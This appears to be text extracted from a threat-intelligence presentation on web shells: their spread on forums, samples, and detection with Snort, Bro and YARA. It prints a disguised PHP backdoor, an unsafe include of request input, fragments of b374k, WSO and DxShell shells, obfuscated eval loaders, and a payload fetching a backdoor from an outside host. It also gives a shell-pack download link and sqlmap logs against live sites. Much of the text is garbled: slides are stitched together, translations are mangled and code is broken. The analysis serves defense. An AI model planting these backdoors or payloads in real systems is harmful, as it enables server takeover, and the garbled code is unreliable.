Agenda

• Background
• Trends
• Analysis
• Detection
Background
“A web shell is a script that can be uploaded to a web server to enable remote administration of the machine. Infected web servers can be either Internet-facing or internal to the network, where the web shell is used to pivot further to internal hosts.

A web shell can be written in any language that the target web server supports. The most commonly observed web shells are written in languages that are widely supported, such as PHP and ASP. Perl, Ruby, Python, and Unix shell scripts are also used.” – US-CERT
Shell

“A Unix shell is a command-line interpreter or shell that provides a traditional Unix-like command line user interface. Users direct the operation of the computer by entering commands as text for a command line interpreter to execute, or by creating text scripts of one or more such commands. Users typically interact with a Unix shell using a terminal emulator, however, direct operation via serial hardware connections, or networking session, are common for server systems.” - Wikipedia
Deceptive backdoor
2014 年 4 月 24 日 / 标签: 一句话 极具迷惑性的一句话/ 作者: 小a
文件名称为:backdoor.php 连接方式:http://xxx.com/?list=assert($_POST[x]); 密码:x

```php
<?php
/*
 * 文章列表生成文件
 */
if(isset($_GET['list'])){ mud(); }
function mud(){
    $fp=fopen('content_batch_stye.html','w');
    file_put_contents('content_batch_stye.html','<php
file_put_contents('content_batch_stye.html',$_GET['list'],FILE_APPEND);
fclose($fp);
require 'content_batch_stye.html';}
?>
```
"Top 103 Shells for Hacking" – Hacker Pilu

Shell List:

- C99Shell v. 1.0 beta (5.02.2005) PHP
- b374k PHP
- b374k-mini-shell PHP
- Cyber Shell PHP
- GFS Web-Shell PHP
- NFM 1.8 PHP
- r57shell PHP
- Small Web Shell by ZaCo PHP
- nsTView v2.1 PHP
- DxShell v1.0 PHP
- C99madShell v. 2.0 madnet edition PHP

Download | 1.46 MB
Password = hackintruths

http://www.easy-share.com/1916472548/103_top_shell.rar
A Real Problem

...of the samples I have recovered between ~20%-25% were detected by anti-virus/anti-malware solutions.

If in a single given system one may find 1 or 2 articles of malware (non-web shell malware), the least amount of web shells I have found on a system has been 11, with the most being almost 30 on a single system in a single environment.

- Bill Powell (Payment Software Company)
<?php
#
# .. SyRiAn Sh3ll V8 .... PRIV8! ... DONT LEAK! .... f0r t3am memberz Only!
#
# ^--------------------------^--------------------------^--------------------------^--------------------------
# | | | | | | | | `--------` | O .. SyRiAn Sh3ll V8 ....
# ^--------------------------^--------------------------^--------------------------^--------------------------|
# `\,
# `\,---------, _EH << SyRiAn | 34G13_|
# / XXXXX / `| /
# / XXXXX / `| /
# / XXXXX ^_____
# / XXXXX /
# / XXXXX /
# / XXXXX /! rep0rt bugz t0: sy34[at]msn[dot]com
# (_______(!
# `--------'
# .... PRIV8! ... DONT LEAK! .... f0r t3am memberz Only!
# .... PRIV8! ... DONT LEAK! .... f0r t3am memberz Only!
#
#
# Coders :
# SyRiAn_34G13 : sy34@msn.com [ Main Coder ] .
# SyRiAn_SnIpEr : zq9@hotmail.it [ Metasploit RC ] .
# Darkness Caesar : doom.caesar@gmail.com [ Finding 3 Bugs ] .
#
# Copyright (C) 2012 - SyRiAn 34G13
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
# I WISH THAT YOU WILL USE IT AGAINST ISRAEL ONLY !!!
#
Open Web Application Security Project

- Cross-Site Scripting
- SQL Injection
- CMS application vulnerabilities
- User input checks/sanitation failures
- Remote File Include (RFI) & Local File Include (LFI)
- Administrator interface discover and brute forcing
$incfile = $_REQUEST["file"]; include($incfile.".php");
PHP 7 OPCache Binary Webshell

Translated from Chinese: “If you have not seen before on our hidden PHP7 OPcache binary file `webshell` article, we recommend that you read before continuing.”

See references
Save reference to...
Share this event...

<table>
<thead>
<tr>
<th>Time</th>
<th>Event Information</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>FEB 15 2016</strong></td>
<td><strong>config.php and PHP injection mentioned on Feb 15, 2016</strong></td>
</tr>
<tr>
<td></td>
<td>1+ reference · exploit · Russia</td>
</tr>
<tr>
<td></td>
<td>A simple exploit below will modify &quot;/framework/conf/config.php&quot; file and inject simple web shell into it: After successful <a href="#">PHP code injection</a>, the attacker can execute arbitrary system command via the web shell.</td>
</tr>
</tbody>
</table>

| **FEB 15 2016** | **PHP injection mentioned on Feb 15, 2016**                                      |
|                | 1+ reference · United States                                                      |
|                | After successful [PHP code injection](#), the attacker can execute arbitrary system command via the web shell. |
t-lock][post_id]=inteval($_REQUEST['data[wp-refresh-post-lock][post_id]']))
the back-end web application

do you want to skip those kind of cases (and save scanning time)? [Y/n] Y
[11:43:30] [INFO] testing if POST parameter 'data[wp-refresh-post-nonces][post
d]' is dynamic
[11:43:33] [WARNING] user aborted in multiple target mode
do you want to skip to the next target in list? [Y/n/q] Y

URL 2:
GET http://www.snjhxx.cn:80/channel.asp?id=45
Cookie: ASPSESSIONIDACDTBSC=KJKJHABJDFDKBAGPNENDOBO
do you want to test this URL? [Y/n/q]
> Y
[11:43:33] [INFO] testing connection to the target URL
[11:43:34] [WARNING] user aborted in multiple target mode
do you want to skip to the next target in list? [Y/n/q] Y

URL 3:
GET http://www.snjhxx.cn:80/mm_menu.js
Cookie: ASPSESSIONIDACDTBSC=KJKJHABJDFDKBAGPNENDOBO
do you want to test this URL? [Y/n/q]
> Y
[11:43:34] [INFO] testing URL 'http://www.snjhxx.cn:80/mm_menu.js'
[11:43:34] [INFO] testing connection to the target URL
<table>
<thead>
<tr>
<th>A</th>
<th>B</th>
<th>C</th>
<th>D</th>
</tr>
</thead>
<tbody>
<tr>
<td>Target URL</td>
<td>Place</td>
<td>Parameter Techniques</td>
<td></td>
</tr>
<tr>
<td><a href="http://www.cn:80/news_detail.asp">http://www.cn:80/news_detail.asp</a></td>
<td>GET</td>
<td>id</td>
<td>BU</td>
</tr>
<tr>
<td>3</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>4</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>5</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>6</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>7</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
1. 【推荐阅读】教师，请记住这四条
“我们的研究团队开始深入研究问题，发现在这些WordPress网站中有一个共同点，那就是WP移动探测器的插件中有一个在5月31日被披露的任意文件上传的0-day漏洞。这个插件已经从WordPress资料库中被移除了，而且没有可用的补丁。”Sucuri发布的一篇博客文章中报道，“这个漏洞是在5月31日被公开披露的，但是根据我们的防火墙日志，自从5月27日以来，攻击一直存在。”

据估计，这个插件已经被安装在了超过10000个活跃的设备上。而且它们中的大多数仍然容易受到网络攻击。

这个漏洞导致该插件的输入验证失败，并允许攻击者提交恶意的PHP输入代码。

“这个漏洞很容易利用”Sucuri的报道说。“所有的攻击者需要做的只是向resize.php 或者 timthumb.php 发送一个请求（是的，timthumb在这种情况下包含resize.php），然后将后门软件的URL放在插件的目录中。”

这是我们在野外攻击中主动发现的负载中的一个：

Payload: src=fs://coipa[.]ru/mig/tmp/css.php"
<table>
<thead>
<tr>
<th>module</th>
<th>action</th>
<th>details</th>
</tr>
</thead>
<tbody>
<tr>
<td>BIND SHELL</td>
<td></td>
<td>PASSPORT SRC: [Field] PERL: Bind</td>
</tr>
<tr>
<td>CONNECT BACK</td>
<td></td>
<td>HOST/PORT SRC: [Field] PERL: Connected</td>
</tr>
<tr>
<td>PHP-SHELL HUNTER</td>
<td></td>
<td>ACTION: RECURSIVE, START PATH: [Field]</td>
</tr>
<tr>
<td>PORTSCAN</td>
<td></td>
<td>HOST/PORT RANGE: [Field] PORT: 80, 443</td>
</tr>
<tr>
<td>CPANEL/PASSWORD FINDER</td>
<td></td>
<td>HOST/USER/SERVICE: 127.0.0.1 root FTP</td>
</tr>
<tr>
<td></td>
<td></td>
<td>FILES/METHOD-RECURSIVE: [Field]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Defined Path: SEND LOG TO: [Field]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>FIND SQL CREDENTIALS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>USER NAME/TYPE: [Field] PASS NAME/TYPE: [Field] DB NAME/TYPE: [Field]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>HOST NAME/TYPE: [Field] SOFTWARE/PASSWORD: [Field]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>FILES WHERE RECURSIVE: [Field] SEND LOG TO: [Field]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>FIND SQL CREDENTIALS</td>
</tr>
<tr>
<td></td>
<td></td>
<td>USER NAME/TYPE: [Field] PASS NAME/TYPE: [Field] DB NAME/TYPE: [Field]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>HOST NAME/TYPE: [Field] SOFTWARE/PASSWORD: [Field] FILES WHERE RECURSIVE: [Field]</td>
</tr>
<tr>
<td></td>
<td></td>
<td>SEND LOG TO: [Field] FIND CREDENTIALS</td>
</tr>
</tbody>
</table>
Dorking – Always with Us


Show original

See references
Save reference to...
Share this event...

alyze sources reporting about
http://www.jilibfinancial.com/na/muhammad-wp


See references
Save reference to...
Share this event...

alyze sources reporting about
mysql7.midnightwebsolutions.com
fresh c99 shell for all kind of scam page upload

Category: Shell
Malicious Web Server Multi-Tasking

✓ DDoS
✓ Persistence
✓ Drive-by
✓ Data Theft
✓ Proxy
Trends
Translated from Spanish: "Today Carmen only works on metadata and is not able to detect a simple web shell because there matchea on the body of the petitions and also no AI to detect anomalies, basically what we do is matchear URL at least is what I do with my scripts."

Translated from French: "Here you have managed to upload your webshell by changing the header: D Third method Given this vulnerability, administrators have blacklisted the php extension, but added: P there are Webshells in asp jsp even in cgi.

Translated from Spanish: "I also found several very basic shell password protected web ..."
WebShell
Arabic vs. Farsi

Translated from Arabic: "Hello Miancom today 's youth jptkm best 100 Shell which: C99Shell v. 1.0 beta (5.02.2005) PHP Cyber Shell PHP GFS Web Shell PHP NFM 1.8 PHP r57shell PHP Small Web Shell by ZaCo PHP nstView v2.1 PHP DxxShell v.1.0 PHP C99madShell v. Magnet edition PHP 2.0 CTI GRP WebShell the Shell PHP 2.0 release build 2018 (C) 2006, the Crystal the shell Great PHP PHP WEB Loader the Shell PHP NIX REMOTE WEB SHE ... See more ..."

Translated from Farsi: "سلام دوستان کیست که بوده پسندیدن نشر جو هست ممنون نیم _ Jyeb3r webshell code: http://pastelbin.com/Je8Pi6jw."

Translated from Farsi: "When you upload a file vulnerability Bug Tracker, if you have direct access to your uploaded files Karty has been one of the steps, the attacker must be examined in terms of security uploader goal to be able to successfully file your Webservshell server transfer."

Translated from Arabic: "{webserv} - JMX2 email tester - (save_email.php) web shell upload."
WebShell
Chinese vs. Russian

Translated from Chinese: "4) other sites attacked system or the server is also equipped with a ftp server, ftp server is attacked, then was injected webshell Trojans and web systems has also been infected.


Translated from Chinese: "If you have not seen before on our hidden PHP? Offcache binary file webshell article, we recommend that you read before continuing.

Translated from Chinese: "Hiippc ASP (webshell) free version 1.2 (price 110 yuan).

Translated from Russian: "People question web shell R57 is C99.

Translated from Russian: "In this video we consider the option of a webshell using vulnerabilities in vsfrd-2.3.4 service.

Translated from Russian: "In development: the infected system files DOC / XLS / EXE through Webshell (in testing) inquire into the jabber (customers only), 3 exploit for ms Office (wait in updates) users is strictly limited, we are gaining customers and then area ostomavlayutsya and further cooperation is going very first customer customers discounts, warranty for your account welcome.

Translated from Russian: "QuasiBot - a complex Webshell manager written in PHP, which operate at the expense of web backdoors, which adds to the user.

Translated from Russian: "The chopper was formerly WEB SHELL Manager, combined with the advantages of web management software author before, and several other tools, it is a collection of big kill.

Translated from Russian: "Explain please how to hide the Web Shell.

© Recorded Future
WebShell

English

Author: @XeSoul: You will get lots of web shells even some private shells...

Published: 25 November 2014...

2:

Uploading an web shell:

Plugin name: Web Shell Finder v.1.3 Loaded.

send(C,"b374k shell : connected \n",0);
Reference Counts

**Product (58)**

- WSO 2.1
- Finder v.1.3 Loaded
- v1.0 Web Shell
- Shell b374k r3c0d3d
- Microsoft Windows Vista
- WordPress
- b374k r3c0d3d
- Error Web Shell
- Jenkins software
- Sun Virtualbox
- Apache Sling Framewo...
- STUNSHELL Web Shell ...
- 1n73ction r3c0d3d

**Malware (10)**

- b374k web shell
- WebShell
- China Chopper
- Web Shell by Orb
- NIM-Shell
- Argument Injection
- Backdoor
- BruteForce
- C99Shell
- Getshell
Open Sourcing – Shell for the Masses

- B374K
- Gamma
- DxShell
- C99
- WSO
- China Chopper
This PHP Shell is a useful tool for system or web administrator to do remote management without using cpanel, connecting using ssh, ftp etc. All actions take place within a web browser.

Features:

- File manager (view, edit, rename, delete, upload, download, archiver, etc)
- Search file, file content, folder (also using regex)
- Command execution
- Script execution (php, perl, python, ruby, java, node.js, c)
- Give you shell via bind/reverse shell connect
- Simple packet crafter
- Connect to DBMS (mysql, mssql, oracle, sqlite, postgresql, and many more using ODBC or PDO)
- SQL Explorer
- Process list/Task manager
- Send mail with attachment (you can attach local file on server)
- String conversion
- All of that only in 1 file, no installation needed
- Support PHP > 4.3.3 and PHP 5
b374k web shell mentioned
1 reference • 1 source

Untitled
“function packer_b374k($output, $phpcode, $htmlcode, $strip, $base64, $compress, $compress_level, $password){”

May 31, 2016, 13:20 • PasteBin • A Guest
Flag for review • Save this reference to...
http://pastebin.com/CJAsdz5Z • Show all events from this document • Cached
```php
<?php
/*
qinshao888_chinaw4rrioses
*/

$GLOBALS['packer']['title'] = "qinshaoWAR";
$GLOBALS['packer']['version'] = "0.01223";
$GLOBALS['packer']['base_dir'] = "./base/";
$GLOBALS['packer']['module_dir'] = "./module/";
$GLOBALS['packer']['theme_dir'] = "./theme/";
$GLOBALS['packer']['module'] = packer_get_module();
$GLOBALS['packer']['theme'] = packer_get_theme();
require $GLOBALS['packer']['base_dir'].'jsPacker.php';
```
<?php

/* (Web_Shell_b374k_r3c0d3d by x'1n73ct|default_pass:" 1n73ction ") */
$auth_pass = "9c80a1eaca699e2fc6b994721f8703bc";
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
    header('HTTP/1.0 404 Not Found');
    exit;
}
@session_start();
@error_reporting(0);
#!/usr/bin/perl

### Gamma Web Shell

### Copyright 2003 Gamma Group

### All rights reserved

###

### Gamma Web Shell is free for both commercial and non commercial

### use. You may modify this script as you find necessary as long

### as you do not sell it. Redistribution is not allowed without

### prior consent from Gamma Group (support@gammacenter.com).

###

### Gamma Group <http://www.gammacenter.com>

###

use strict;

package WebShell::Configuration;
<?php

/*
   DDDDD SSSSS DxShell by Tync
   D D X X S
   D D X SSSSS http://hellknights.void.ru/
   D D X X S ICQ#244648
   DDDDD SSSSS
   */

$GLOB['SHELL']['Ver']='1.0b'; /* ver of the shell */
$GLOB['SHELL']['Date']='26.04.2006';

if (headers_sent()) $DXGLOBALSHIT=true; else $DXGLOBALSHIT=FALSE; /* This means if bug.php has fucked up the output and headers are already sent =(( lot's of things become HARDER */
@ob_clean();
$DX_Headr drawn=false;

- thehackerblog.com
/* M M DDDDD >WSO
5. /* M M M M >Shell
6. /* M M MMMMMMM M M >Hacking
7. /* M M MMM MMM M M >web-shell
8. /* M M MMM MMM M M >YASHA
9. /* M M MMM MMM M M >clean
10. /* MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
11. /* M M M M >secured
12. /* M M M M >Private
13. /* M M M M >extra features
14. /* M M M M >real 404 headers
15. /* M M MMMMMMM >fake errors
16. /* MMMMMMM >hidden login (stealth)
17. /*
18. /*
19. /*
20. /* WSO Shell, errors fixed & patched. with 404 tweak.
21. /* Clean 100% no bd or other shit
22. /* Happy hacking, greetz from china
pgems.in, Unix shell and WSO 2.1 mentioned on Apr 30, 2016
2+ references • PasteBin and PasteBinca Posts • 2 countries

/* WSO 2.1 (Web Shell by pgems.in) */

Unix shell and WSO 2.1 mentioned on Mar 6, 2016
1+ reference • PasteBin

/* WSO 2.1 (Web Shell by Maronox*) */

Web Shell by Orb and WSO 2.1 mentioned on Feb 18, 2016
1+ reference • PasteBin

/* WSO 2.1 (Web Shell by oRb) */
China Chopper
China Chopper


caidao.exe (web shell client) - MD5: 5001ef50c7e869253a7c152a638eab8a

75 related samples

Customize.aspx (payload) - MD5: 8aa603ee2454da64f4c70f24cc0b5e08
Customize.cfm (payload) - MD5: ad8288227240477a95fb023551773c84
Customize.jsp (payload) - MD5: acba8115d027529763ea5c7ed6621499
NLP Alerting

Chinese Key Words – New references in 53 documents
This notification is truncated. View in Recorded Future or Create Cyber Threat Advisory Report

打狗棒法之：Cknife（C刀）自定义模式秒过安全狗

“今天以自定义模式为例实例讲解秒过安全狗，当然文章发布过后各大WAF厂商肯定会将某些特征列入黑名单，这里只是抛砖引玉提供思路。...[此处省略1W字] 说明： 服务端脚本支持ASP、ASPX、PHP、JSP、Customize(自定义)。”
软件名称: Cknife
中文名称: C刀
源码地址: https://github.com/Chora10/Cknife
下载地址: http://pan.baidu.com/s/1nullmpr 密码: f65g
官方博客: http://www.ms509.com/
作者: Chora & MelodyZX

免责申明:
请使用者注意使用环境并遵守国家相关法律法规！
由于使用不当造成的后果作者不承担任何责任！

程序在使用过程中难免有各种BUG，请及时关注是否有更新，说不定已经修补了呢。

一、运行环境:
安装了JRE1.7+环境的所有操作系统

二、文件说明:

<table>
<thead>
<tr>
<th>文件名</th>
<th>说明</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cknife.jar</td>
<td>Cknife主程序</td>
</tr>
<tr>
<td>Cknife.db</td>
<td>Cknife的数据库(不存在会自动生成)</td>
</tr>
<tr>
<td>Config.ini</td>
<td>Cknife的配置文件(不存在会自动生成)</td>
</tr>
<tr>
<td>ReadMe.txt</td>
<td>你现在正在看的(可删除)</td>
</tr>
<tr>
<td>1.jsp</td>
<td>JSP服务端脚本(可删除)</td>
</tr>
<tr>
<td>1.jspx</td>
<td>JSPX服务端脚本(可删除)</td>
</tr>
</tbody>
</table>
0 × 01 Introduction
Beginning asked me to write something about Cknife I was rejected, but too invincible really lonely. This tool is not intended to replace the mentally Chinese kitchen knife, it is a symbol of an era, is irreplaceable. Do not want to take the highest authority is not a good green hat green hat, me too, but I'm not a green hat, I want to make it physically replace Chinese kitchen knife tool. Choppers in to our convenience at the same time, problems in the use of so many years of accumulated a lot, I extract the core functionality and added some of his own experience in this industry, that is cross-platform file-based configuration Chinese kitchen knife, all operation given to the user to define.

0 × 02 selection
Many languages can be cross-platform, asked why choose to use Java to develop this tool? Java is well known in the graphical programming interface across platforms have a long history, it can be perfectly qualified for the project.

0 × 03 open
Since many choppers back door was broke relations after everyone privacy issues, so I chose to open in the case of the consent MelodyZX small partners agreed to accept the majority of the recommendations of friends and supervision.

0 × 05 volumes
The updated version incorporates the skin, in fact, the main program only 100 KB, in order to achieve perfect cross-platform and supports Chinese path boot loader package skin and database-driven package, the size becomes more than 4M, after we have any good open source reduce the size of the method can tell me.

0 × 07 follow-up
Follow-up will increase the core function of a plug that is, the user can customize write encryption, can also customize what you want to write a function such as a Web browser, but I will not go in itself irrelevant to add some features. Also the next version will add custom request headers and agents.
<table>
<thead>
<tr>
<th>Url</th>
<th>Ip</th>
<th>Time</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://127.0.0.1/index.php">http://127.0.0.1/index.php</a></td>
<td>127.0.0.1</td>
<td>2016-03-18 19:37:16</td>
</tr>
</tbody>
</table>

The screen shows a window titled "添加shell" (Add Shell) with fields for URL and configuration. The URL entered is "http://".
F:\Web\dir

驱动器 F 中的卷是 Work
卷的序列号是 D4A4-879E

F:\Web 的目录

2016/03/17  20:27  <DIR>  ..
2016/03/17  20:27  <DIR>  ..
2015/08/25  17:12  174  .buildpath  .git
2015/08/26  21:12  907  .project  .settings
2015/10/26  21:12  30,606  Config.ini  41  index.php
2016/03/17  19:26  31,738  字节  171,112,960,000  可用字节
2016/03/14  18:55  6  newFile1.txt
2016/03/17  18:50  4  newFile.txt
2016/03/17  19:14  6  newFile1.txt

F:\Web\}
Load URL: http://localhost/test/cknife.jsp

Post data:
ms509=1&action=A

-> [C:\JspStudy\WWW\ A:C:D:]<-
Improving Detection Bypass

0 × 05 slag slag slag slag Code
JSP download password: 1. f65g JSP (updated)
ASPX Download password:. F65g CUS ASP X

0 × 06 Conclusion
This article explains how to give you the easiest way to use existing sentence plus cknife custom parameters to create your own script about a dog. God taught me a hello world, but I use it to around WAF ~.
Chora10 / Cknife

Cknife http://www.ms509.com

81 commits  1 branch  0 releases  2 contributors

Branch: master  New pull request

Chora add request header  Latest commit 061db2 19 days ago

.settings  First  4 months ago
lib  update  3 months ago
src/com/ms509  add request header  19 days ago
Analysis
## Locating Webshells

### BlackArch / webshells

<table>
<thead>
<tr>
<th>Code</th>
<th>Issues</th>
<th>Pull requests</th>
<th>Pulse</th>
<th>Graphs</th>
</tr>
</thead>
</table>

Various webshells. We accept pull requests for additions to this collection.

### malwares / WebShell

<table>
<thead>
<tr>
<th>Code</th>
<th>Issues</th>
<th>Pull requests</th>
<th>Pulse</th>
<th>Graphs</th>
</tr>
</thead>
</table>

WebShell Dump

### bartblaze / PHP-backdoors

<table>
<thead>
<tr>
<th>Code</th>
<th>Issues</th>
<th>Pull requests</th>
<th>Pulse</th>
<th>Graphs</th>
</tr>
</thead>
</table>

A collection of PHP backdoors. For educational or testing purposes only.

- ~260 Un-obfuscated PHP files
- 99 Obfuscated PHP files
- ~10 ASP, ASPX, JSP, Perl files
Code Commonality

<?

# Small PHP Web Shell by ZaCo (c) 2004-2006
# +POST method
# +MySQL Client+Dumper for DB and tables
# +PHP eval in text format and html for phpinfo() example
# PREVED: snOw, Zadoxlik, Rebz, SkvoznoY, PinkPanther
# For antichat.ru and cup.su friends usage
# All bugs -> mailo:zaco@yandex.ru
# Just for fun :)

#CREMENTAL #
No Easy Wins

el@jefe:~$ for i in *.php; do diff -D %= zaco.php $i;done
import os
import collections
import operator
from pprint import pprint

# open all files in directory
filenames = os.listdir("~/webshells/PHP-master/")
files = [open(name).readlines() for name in filenames]

# for loop magic
sets = [set(line.strip() for line in file)
    for file in files]

# count line commonality
combined_counter = reduce(operator.add, [collections.Counter(s) for s in sets])

# print the 50 most common lines
pprint(combined_counter.most_common(50))
De-obfuscated

41. ('else{', 75),
42. ('<td>', 70),
43. ('echo "", 69),
44. ('</center>', 66),
45. ('<style type="text/css">', 66),
46. ('</form>;', 65),
47. ('else {$size = $size . " B";}', 64),
48. ('</body>', 99),
49. ('error_reporting(0);', 86),
50. ('@set_magic_quotes_runtime(0);', 62)]
Magic Quotes Occurrences

el@jefe:~$ grep -lrni "@set_magic_quotes" | wc -l
46

18.5%

set_magic_quotes_runtime — "Sets the current active configuration setting of magic_quotes_runtime

Warning: This function was DEPRECATED in PHP 5.3.0, and REMOVED as of PHP 7.0.0."
Obfuscated Files

[['<?php', 77),
('?>', 34),
('*/', 28),
('/*', 23),
('Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/', 21),
('*/', 28),
('?>', 34),$ other free or open source software licenses.', 3),
('*/', 28),
('?>', 34),
('@package\t\tJoomla', 2),
('*/', 28),
('?>', 34),
('@copyright 2005-2008 Janrain, Inc.', 2)]
专家强调，由于没有修复补丁，这意味着最好的方法是卸载这个带有漏洞的WP移动探测器插件。
“我们强烈建议大家删除这个插件。如果你真的需要这个插件，部分临时修复的方法是在wp移动目录或者缓存目录中禁用PHP执行，例如在.htaccess文件中使用下面这段代码。”

```html
<Files *.php>
  deny from all
</Files>
```

被感染的WordPress网站的管理员可以向Sucuri请求支持。
Host + Network in Enterprise

• HTTP traffic anomalies (usual suspects)
  o UA or Referrer oddities

• File integrity monitoring

• Difficult to scale
  o Noisy network signal
  o Scale of enterprise web hosts and change complexity
Yara

- 304 Yara signatures including “Webshell”
- Capturing specificity and anomalies
- Singular rule implausible
Encoding/Transposition

评注

```
eval(gzinflate(str_rot13(base64_decode('rUl4QutTEP1cpPsflnokO7rghEmVEG
```
Signatures

alert tcp $HOME_NET $HTTP_PORTS -> $HOME_NET any
(msg:"Suspicious-PHP"; file_data; content:"eval(gzinflate(str_rot13(base64_decode"; sid:1000000)"
Encoding/Transposition

```php
<?php
    $g__g_="base'.(32*2).'_de'."code";g__g_=$g__g_(str_replace("\n", ", "P7I83z9r5UnC
    $b374k=@create_function('$x',"ev".'al'.'(gz'.'inf'.'late'.'(bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k
    $s_func="cr"."eat"."e_fun"."cti"."on";$b374k=@$s_func('$x,$y',"ev".'al'.'("\$s_pass="\$y";?
?>php
```
Choke Point: Authentication

el@jefe:~/webshells/PHP-master$ grep -lrni "user" | wc -l
263
el@jefe:~/webshells/PHP-master$ grep -lrni "auth" | wc -l
148
el@jefe:~/webshells/PHP-master$ grep -lrni "auth_pass" | wc -l
13
el@jefe:~/webshells/PHP-master$ grep -lrni "$login" | wc -l
359
el@jefe:~/webshells/PHP-master$ grep -lrni "$pass" | wc -l
359
“I can’t stop saying Bro...Bro”
Failed Authentication

# (C) 2015 Critical Stack LLC. All rights reserved.
### HTTP basic-auth brute-forcing detector

### detect bruteforcers; triggering when too many rejected usernames have occurred from a single address.

```bro
event http_reply(c: connection, version: string, code: count, reason: string) {
  if (c$http$status_code && c$http$status_code == 401 && c$http$username) # && c$http$password {
    SumStats::observe("http-basic-auth.failed_auth", [$host=c$id$orig_h], [$str=cat(c$id$resp_h)]);
}
```
1. Successful HTTP Authentication – Dump Usernames

Basic Auth, Form Auth, Digest Auth

module HTTP;
export {
  redef enum Notice::Type += {
    ## Generated if a Command injection takes place using URL
    URI_Injection
  }
  event http_header(c: connection, is_orig: bool, name: string, value: string) {
    if (/AUTHORIZATION/ in name && /Basic/ in value) {
      local parts: string_array;
      parts = split1(decode_base64(sub_bytes(value, 7, |value|)), "/:/);
      NOTICE($note=HTTP::Basic_Auth_Server,
        $msg=fmt("username: %s password: %s", parts[1],
        HTTP::default_capture_password == F ? "Blocked" : parts[2]),
        $conn=c);
    }
    http_header(c: connection, is_orig: bool, name: string, value: string) {
      if (/AUTHORIZATION/ in name && /Digest/ in value) {
        // filter response values and Server response
        GET /dir/index.html HTTP/1.0
        Host: localhost
        Authorization: Digest username="admin",
        realm="admin@test.com",
        nonce="deefgeghf36594373131",
        uri="/dir/test.html",
        qop=auth, nc=00000001, cnonce="0e4f323c",
        response="48845fae49393f05355450972504c4abc",
        opaque="48593ehff23336773t"
      }
    }
  }
}

https://www.sans.org/reading-room/whitepapers/detection/web-application-attack-analysis-bro-ids-34042
# 2. Dump AD Usernames

```powershell
# Import the ActiveDirectory module
Import-Module ActiveDirectory

# Perform AD search. The quotes "" used in $SearchLoc is essential
# Without it, Export-ADUsers returned error
Get-ADUser -server $ADServer -searchbase "$SearchLoc" -Properties "*Filter *" | Select-Object @
{
Label = "First Name";
Expression = {
$.GivenName
},
@{
Label = "Last Name";
Expression = {
$.Surname
},
@{
Label = "Display Name";
Expression = {
$.DisplayName
},
@{
Label = "Logon Name";
Expression = {
$.sAMAccountName
},
@{
Label = "Full address";
Expression = {
$.streetAddress
},
@{
Label = "City";
Expression = {
$.City
},
@{
Label = "State";
Expression = {
$.State
},
@{
Label = "Postal code";
Expression = {
$.PostalCode
},
@{
Label = "Country/Region";
Expression = {
if ($(Country -eq 'GB') ) {'United Kingdom'} Else {''}
},
@{
Label = "Job Title";
Expression = {
$.Title
},
@{
Label = "Company";
Expression = {
$.Company
},
@{
Label = "Description";
Expression = {
$.Description
},
@{
Label = "Department";
Expression = {
$.Department
},
@{
Label = "Office";
Expression = {
$.Office
},
@{
Label = "Phone";
Expression = {
$.telephoneNumber
},
@{
Label = "Email";
Expression = {
$.Mail
},
@{
Label = "Manager";
Expression = {
if ($(Manager -eq 'TRUE') ) {'Enabled'} Else {'Disabled'}
}@{
Label = "Account Status";
Expression = {
if ($(Enabled -eq 'TRUE') ) {'Enabled'} Else {'Disabled'}
}@{
Label = "Login Date";
Expression = {
$.LastLogonDate

# Export CSV report
Export-Csv -Path CsvReportFile -NotTypeInformation
```

https://gallery.technet.microsoft.com/scriptcenter/powershell-script-to-5edcdae
3. Compare & Alert on Unrecognized Users (and/or admin)

```bash
grep /bro/http.log "username" >> usernames.txt
diff usernames.txt csvreportfile >> suspects.txt
```
Detection Efficacy Never Perfect

// shell password, fill with password in md5 format to protect shell, default : b374k
$s_pass = "7be6e37567f18b0b4faaad89babe0726";

$language='eng'; // 'pl' or 'eng'
$auth = 0;
$name='abcdef1234567890abcdef1234567890';
$pass='abcdef1234567890abcdef1234567890';
No Silver Bullets

...only the Hustle & Grind
Thank You!